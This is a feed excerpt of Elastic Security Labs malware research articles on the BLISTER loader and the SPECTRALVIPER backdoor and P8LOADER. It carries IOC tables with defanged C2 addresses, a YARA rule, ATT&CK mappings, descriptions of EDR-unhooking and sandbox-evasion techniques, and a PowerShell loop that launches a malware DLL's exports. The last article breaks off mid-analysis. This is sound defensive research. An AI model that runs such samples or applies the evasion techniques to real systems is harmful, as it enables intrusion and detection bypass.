<td><code>ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a</code></td>
<td>SHA-256</td>
<td>EAGERBEE shellcode</td>
<td>iconcaches.mui</td>
</tr>
<tr>
<td><code>29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d</code></td>
<td>SHA-256</td>
<td>DOWNTOWN</td>
<td>In-memory DLL</td>
</tr>
<tr>
<td><code>185.82.217[.]164</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>195.123.245[.]79</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>45.90.58[.]103</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
<tr>
<td><code>185.195.237[.]123</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</a></li>
<li><a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/</a></li>
<li><a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/</a></li>
<li><a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">https://malpedia.caad.fkie.fraunhofer.de/actor/ta428</a></li>
<li><a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/photo-edited-08@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Revisiting BLISTER: New development of the BLISTER loader]]></title>
            <link>https://www.elastic.co/pt/security-labs/revisiting-blister-new-developments-of-the-blister-loader</link>
            <guid>revisiting-blister-new-developments-of-the-blister-loader</guid>
            <pubDate>Thu, 24 Aug 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs dives deep into the recent evolution of the BLISTER loader malware family.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>In a fast-paced and ever-changing world of cybercrime threats, the tenacity and adaptability of malicious actors is a significant concern. BLISTER, a malware loader initially <a href="https://www.elastic.co/pt/security-labs/elastic-security-uncovers-blister-malware-campaign">discovered</a> by Elastic Security Labs in 2021 and associated with financially-motivated intrusions, is a testament to this trend as it continues to develop additional capabilities. Two years after its initial discovery, BLISTER continues to receive updates while flying under the radar, gaining momentum as an emerging threat. Recent findings from Palo Alto’s <a href="https://twitter.com/Unit42_Intel/status/1684583246032506880">Unit 42</a> describe an updated <a href="https://redcanary.com/threat-detection-report/threats/socgholish/">SOCGHOLISH</a> infection chain used to distribute BLISTER and deploy a payload from <a href="https://github.com/its-a-feature/Mythic">MYTHIC</a>, an open-source Command and Control (C2) framework.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs has been monitoring malware loader BLISTER ramping up with new changes, and ongoing development with signs of imminent threat activity</li>
<li>New BLISTER update includes keying feature that allows for precise targeting of victim networks and lowers exposure within VM/sandbox environments</li>
<li>BLISTER now integrates techniques to remove any process instrumentation hook and has modified its configuration with multiple revisions, now encompassing additional fields and flags.</li>
</ul>
<h2>Overview</h2>
<p>Our research uncovered new functionality that was previously absent within the BLISTER family, indicating ongoing development. However, the malware authors continue to use a distinctive technique of embedding malicious code in otherwise legitimate applications. This approach superficially appears successful, given the low rates of detection for many vendors as seen in VirusTotal. The significant amount of benign code and use of encryption to protect the malicious code are likely two factors impacting detection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image11.png" alt="Example of BLISTER detection rates on initial upload
" /></p>
<p>Recently, Elastic Security Labs has observed many new BLISTER loaders in the wild. After analyzing various samples, it’s clear that the malware authors have made some changes and have been watching the antivirus industry closely. In one <a href="https://www.virustotal.com/gui/file/b4f37f13a7e9c56ea95fa3792e11404eb3bdb878734f1ca394ceed344d22858f">sample</a> from early June, we can infer that the authors were testing with a non-production loader that displays a Message Box displaying the strings “Test”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image2.png" alt="BLISTER payload with Message Box test" /></p>
<p>Readers can see a disassembled view of this functionality below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image4.jpg" alt="BLISTER testing payloads with Message Box
" /></p>
<p>By the end of July, we observed campaigns involving a new BLISTER loader that targeted victim organizations to deploy the MYTHIC implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image6.jpg" alt="MYTHIC running inside injected WerFault process
" /></p>
<p>At the time of this writing, Elastic Security Labs is seeing a stream of BLISTER samples which deploy MYTHIC and have very low rates of detection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image1.png" alt="Wave of BLISTER samples in August 2023" /></p>
<h2>Comparative analyses</h2>
<h3>Smuggling malicious code</h3>
<p>The authors behind BLISTER employ a consistent strategy of embedding BLISTER's malicious code within a legitimate library. The most recent variants of this loader have targeted the <a href="https://www.videolan.org/vlc/">VLC</a> Media Player library to smuggle their malware into victim environments. This blend of benign and malicious code seems effective at defeating some kinds of machine-learning models.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image10.png" alt="Meta data of BLISTER sample" /></p>
<p>The following is a comparison between a legitimate VLC DLL and one that is infected with BLISTER’s code. In the infected sample, the entry point that references malicious code has been indicated in red. This methodology is similar to prior BLISTER variants.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image8.png" alt="Comparison between original and patched VLC library" /></p>
<h3>Different hashing algorithm</h3>
<p>One of the changes implemented since our last <a href="https://www.elastic.co/pt/security-labs/blister-loader">write-up</a> is the adoption of a different hashing algorithm used in the core and in the loader part of BLISTER. While the previous version used simple logic to shift bytes, this new version includes a hard-coded seed with XOR and multiplication operations. Researchers speculate that changing the hashing approach helps to evade antimalware products that rely on YARA signatures.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image13.png" alt="Disassembled hashing algorithm" /></p>
<h3>Configuration retrieval</h3>
<p>Following the decryption of malicious code by the BLISTER’d loader, it employs an identical memory scanning method to identify the configuration data blob. This is accomplished by searching for a predetermined, hardcoded memory pattern. A notable contrast from the earlier iteration of BLISTER lies in the fact that the configuration is now decrypted in conjunction with the core code, rather than being treated as a separate entity.</p>
<h3>Environmental keying</h3>
<p>A recent addition to BLISTER is the capability to exclusively execute on designated machines. This behavior is activated by configuring the appropriate flag within the malware’s configuration. Subsequently, the malware proceeds to extract the machine's domain name using the <code>GetComputerNameExW</code> Windows API. Following this, the domain name is hashed using the previously mentioned algorithm, and the resulting hash is then compared to a hash present in the configuration. This functionality is presumably deployed for the purpose of targeted attacks or for testing scenarios, ensuring that the malware refrains from infecting unintended systems such as those employed by malware researchers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image12.png" alt="Environmental keying feature" /></p>
<p>One of the few malware analysis tools capable of quickly exposing this behavior is the awesome <a href="https://github.com/hasherezade/tiny_tracer">Tiny Tracer</a> utility by <a href="https://twitter.com/hasherezade">hasherezade</a>. We’ve included an excerpt from Tiny_Tracer below which captures the BLISTER process immediately terminating after the <code>GetComputerNameExW</code> validation is performed in a sandboxed analysis VM.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image15.png" alt="TinyTracer logs" /></p>
<h3>Time-based anti-debugging feature</h3>
<p>Similar to its predecessors, the malware incorporates a time-based anti-debugging functionality. However, unlike the previous versions in which the timer was hardcoded, the updated version introduces a new field in the configuration. This field enables the customization of the sleep timer, with a default value of 10 minutes. This default interval remains unchanged from prior iterations of BLISTER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image9.png" alt="Time-Based Anti-Debug Feature" /></p>
<h3>Unhook process instrumentation to detect syscalls</h3>
<p>In this latest version, BLISTER introduces noteworthy functionality: it unhooks any ongoing process instrumentation, a <a href="https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf">tactic</a> designed to circumvent userland syscall detection mechanisms upon which certain EDR solutions are based.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image3.png" alt="Unhooking process instrumentation" /></p>
<h3>BLISTER's configuration</h3>
<p>The BLISTER configuration structure has also been changed with the latest variants. Two new fields have been added and the flag field at offset 0 has been changed from a WORD to a DWORD value. The new fields pertain to the hash of the domain for environmental keying and the configurable sleep time; these field values are at offset 4 and 12 respectively. The following is the updated structure of the configuration:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image14.png" alt="Configuration structure" /></p>
<p>Changes have also been made to the configuration flags, allowing the operator to activate different functions within the malware. Researchers have provided an updated list of functions built upon our prior research into BLISTER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image7.png" alt="Configuration flags enumeration" /></p>
<h2>Payload extractor update</h2>
<p>In our previous research publication, we introduced an efficient payload extractor tailored to dissect and extract the configuration and payload of the loader. To dissect the most recent BLISTER variants and capture these new details, we enhanced our extractor which is available <a href="https://github.com/elastic/labs-releases/tree/main/tools/blister">here</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image5.png" alt="Configuration extractor" /></p>
<h2>Conclusion</h2>
<p><a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html">BLISTER</a> is one small part of the global cybercriminal ecosystem, providing financially-motivated threats to gain access to victim environments and avoid detection by security sensors. The community should consider these new developments and assess the efficacy of BLISTER detections, Elastic Security Labs will continue to monitor this threat and share actionable guidance.</p>
<h2>Detection logic</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar">Windows.Trojan.Blister</a></li>
</ul>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_error_manager_reporting_masquerading.toml">Windows Error Manager/Reporting Masquerading</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml">Potential Operation via Direct Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml">Unusual Startup Shell Folder Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef432d0907548abf7699fa5d86150dc6b4133125/rules_building_block/defense_evasion_masquerading_vlc_dll.toml">Potential Masquerading as VLC DLL</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar">YARA rules</a> to identify this activity. Below is the latest rule that captures the new update to BLISTER.</p>
<pre><code class="language-yara">rule Windows_Trojan_Blister {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-08-02&quot;
        last_modified = &quot;2023-08-08&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;Blister&quot;
        threat_name = &quot;Windows.Trojan.Blister&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }
        $b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }
    condition:
        all of them
}
</code></pre>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
</ul>
<h2>Techniques / Sub techniques</h2>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1218/011/">System Binary Proxy Execution: Rundll32</a></li>
<li><a href="https://attack.mitre.org/techniques/T1480/001/">Execution Guardrails: Environmental Keying</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/012/">Process Injection: Process Hollowing</a></li>
</ul>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://twitter.com/Unit42_Intel/status/1684583246032506880?s=20">Palo Alto Unit42</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html">Trendmicro</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blister">Malpedia</a></li>
</ul>
<h2>Observables</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/blister">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db</td>
<td>sha256</td>
<td>BLISTER loader DLL</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/revisiting-blister-new-developments-of-the-blister-loader/cracked-lava.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic charms SPECTRALVIPER]]></title>
            <link>https://www.elastic.co/pt/security-labs/elastic-charms-spectralviper</link>
            <guid>elastic-charms-spectralviper</guid>
            <pubDate>Fri, 09 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners</li>
<li>SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities</li>
<li>We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor</li>
</ul>
<h2>Preamble</h2>
<p>Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.</p>
<p>This research discusses:</p>
<ul>
<li>The SPECTRALVIPER malware</li>
<li>The P8LOADER malware loader</li>
<li>The POWERSEAL malware</li>
<li>Campaign and intrusion analysis of REF2754</li>
</ul>
<h2>Execution flow</h2>
<p>The first event recorded was the creation of a file (<strong>C:\Users\Public\Libraries\dbg.config)</strong> by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( <strong>windbg.exe</strong> ). Using the renamed ProcDump application with the <strong>-md</strong> flag, the adversary loaded <strong>dbg.config</strong> , an unsigned DLL containing malicious code.</p>
<p>It should be noted, the ProcDump LOLBAS <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/">technique</a> requires a valid process in the arguments; so while <strong>winlogon.exe</strong> is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image22.jpg" alt="ProcDump masquerading as WinDbg.exe" /></p>
<p>The unsigned DLL (<strong>dbg.config)</strong> contained DONUTLOADER shellcode which it attempted to inject into <strong>sessionmsg.exe</strong> , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image16.png" alt="REF2754 execution flow" /></p>
<p>Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( <strong>ExtExport.exe</strong> ) to load a DLL, while another technique involved side-loading a malicious DLL ( <strong>dnsapi.dll</strong> ) using a legitimate application ( <strong>nslookup.exe</strong> ).</p>
<p>These techniques and malware families make up the REF2754 intrusion set.</p>
<h2>SPECTRALVIPER code analysis</h2>
<h3>Overview</h3>
<p>During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.</p>
<p>Through our analysis, we have identified the following capabilities:</p>
<ul>
<li><strong>PE loading/Injection</strong> : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.</li>
<li><strong>Token Impersonation</strong> : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.</li>
<li><strong>File downloading/uploading</strong> : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.</li>
<li><strong>File/directory manipulation</strong> : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image30.jpg" alt="SPECTRALVIPER overview" /></p>
<h3>Execution flow</h3>
<h4>Launch</h4>
<p>SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing <strong>.\spectralviper.exe</strong>.</p>
<p>However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image14.jpg" alt="SPECTRALVIPER DLL sample exports" /></p>
<p>The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and <a href="https://github.com/BenjaminSoelberg/RunDLL-NG">rundll-ng</a>. The PowerShell command depicted below calls each SPECTRALVIPER export in a <strong>for</strong> loop until we find the one launching the malware capabilities.</p>
<pre><code>for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe &quot;.\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll&quot; &quot;#$i&quot;}
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image33.jpg" alt="Brute-forcing calls to SPECTRALVIPER exports" /></p>
<p>Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.</p>
<h4>Pipe mode</h4>
<p>In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example <strong>\.\pipe\raSeCIR4gg</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image19.jpg" alt="SPECTRALVIPER sample operating in pipe mode" /></p>
<p>This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image6.jpg" alt="SPECTRALVIPER’s pipe security attributes" /></p>
<p>However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Helman key exchange protocol</a> to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.</p>
<h4>HTTP mode</h4>
<p>In HTTP mode, the malware will beacon to its C2 every <em>n</em> seconds, the interval period is generated randomly in a range between 10 and 99 seconds.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image20.jpg" alt="SPECTRALVIPER’s other sample operates in HTTP mode" /></p>
<p>Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image28.jpg" alt="Debugging SPECTRALVIPER to force the HTTP mode" /></p>
<p>Below is an HTTP request example.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image15.jpg" alt="SPECTRALVIPER HTTP request example" /></p>
<p>The request contains a cookie header, “ <strong>euconsent-v2</strong> ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image10.jpg" alt="Cookie data pre RSA1024 encryption" /></p>
<p>We believe that the first value, in this example “ <strong>H9mktfe2k0ukk64nZjw1ow==</strong> ”, is the randomly generated AES key that is shared with the server to encrypt communication data.</p>
<h3>Commands</h3>
<p>While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image17.jpg" alt="SPECTRALVIPER registering command handlers" /></p>
<p>Below is a table listing of the commands that were identified.</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>DownloadFile</td>
</tr>
<tr>
<td>3</td>
<td>UploadFile</td>
</tr>
<tr>
<td>5</td>
<td>SetBeaconIntervals</td>
</tr>
<tr>
<td>8</td>
<td>CreateRundll32ProcessAndHollow</td>
</tr>
<tr>
<td>11</td>
<td>InjectShellcodeInProcess</td>
</tr>
<tr>
<td>12</td>
<td>CreateProcessAndInjectShellcode</td>
</tr>
<tr>
<td>13</td>
<td>InjectPEInProcess</td>
</tr>
<tr>
<td>14</td>
<td>CreateProcessAndHollow</td>
</tr>
<tr>
<td>20</td>
<td>CreateRundll32ProcessWithArgumentAndInjectPE</td>
</tr>
<tr>
<td>81</td>
<td>StealProcessToken</td>
</tr>
<tr>
<td>82</td>
<td>ImpersonateUser</td>
</tr>
<tr>
<td>83</td>
<td>RevertToSelf</td>
</tr>
<tr>
<td>84</td>
<td>AdjustPrivileges</td>
</tr>
<tr>
<td>85</td>
<td>GetCurrentUserName</td>
</tr>
<tr>
<td>103</td>
<td>ListFiles</td>
</tr>
<tr>
<td>106</td>
<td>ListRunningProcesses</td>
</tr>
<tr>
<td>108</td>
<td>CopyFile</td>
</tr>
<tr>
<td>109</td>
<td>DeleteFile</td>
</tr>
<tr>
<td>110</td>
<td>CreateDirectory</td>
</tr>
<tr>
<td>111</td>
<td>MoveFile</td>
</tr>
<tr>
<td>200</td>
<td>RunDLLInOwnProcess</td>
</tr>
</tbody>
</table>
<p>In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image13.jpg" alt="Injecting our backdoor to call SPECTRALVIPER handlers" /></p>
<p>When the <strong>AdjustPrivileges</strong> command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image3.jpg" alt="SPECTRALVIPER setting privileges" /></p>
<h3>Defense evasion</h3>
<h4>Code obfuscation</h4>
<p>The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. <a href="https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/">Control flow flattening</a> is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.</p>
<p>Below is an example of a second-level identity function where the highlighted parameter <strong>p_a1</strong> is just returned despite the complexity of the function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image21.jpg" alt="SPECTRALVIPER obfuscated function example" /></p>
<h4>String obfuscation</h4>
<p>SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( <strong>&quot;\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f&quot;</strong> ) and the IV is contained within the encrypted string structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image24.jpg" alt="Encrypted string structure 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image2.jpg" alt="Encrypted string structure 2/2" /></p>
<p>We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image27.jpg" alt="Decrypting strings by instrumenting the binary 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image31.png" alt="Decrypting strings by instrumenting the binary 2/2" /></p>
<h3>Summary</h3>
<p>SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.</p>
<p>It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.</p>
<p>All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.</p>
<p>Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.</p>
<h2>P8LOADER</h2>
<h3>Overview</h3>
<p>The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, <strong>P8exit</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image5.jpg" alt="P8exit export name" /></p>
<h3>Discovery</h3>
<p>P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, <strong>RuntimeBroker.exe</strong>. Unbacked executable sections, or <em>floating code</em>, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image1.jpg" alt="P8LOADER unbacked observation" /></p>
<blockquote>
<p>If you want to learn more about unbacked executable events, check out the <a href="https://www.elastic.co/pt/security-labs/hunting-memory">Hunting in Memory research</a> publication by Joe Desimone.</p>
</blockquote>
<h3>Execution flow</h3>
<p>The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image26.jpg" alt="P8LOADER functions" /></p>
<p>The PE to be executed is loaded into memory using the <strong>VirtualAlloc</strong> method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image9.jpg" alt="P8LOADER loading the PE to be executed" /></p>
<p>Next, a new thread is allocated with the entry point of the PE as the starting address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image34.jpg" alt="P8LOADER setting the PE starting address" /></p>
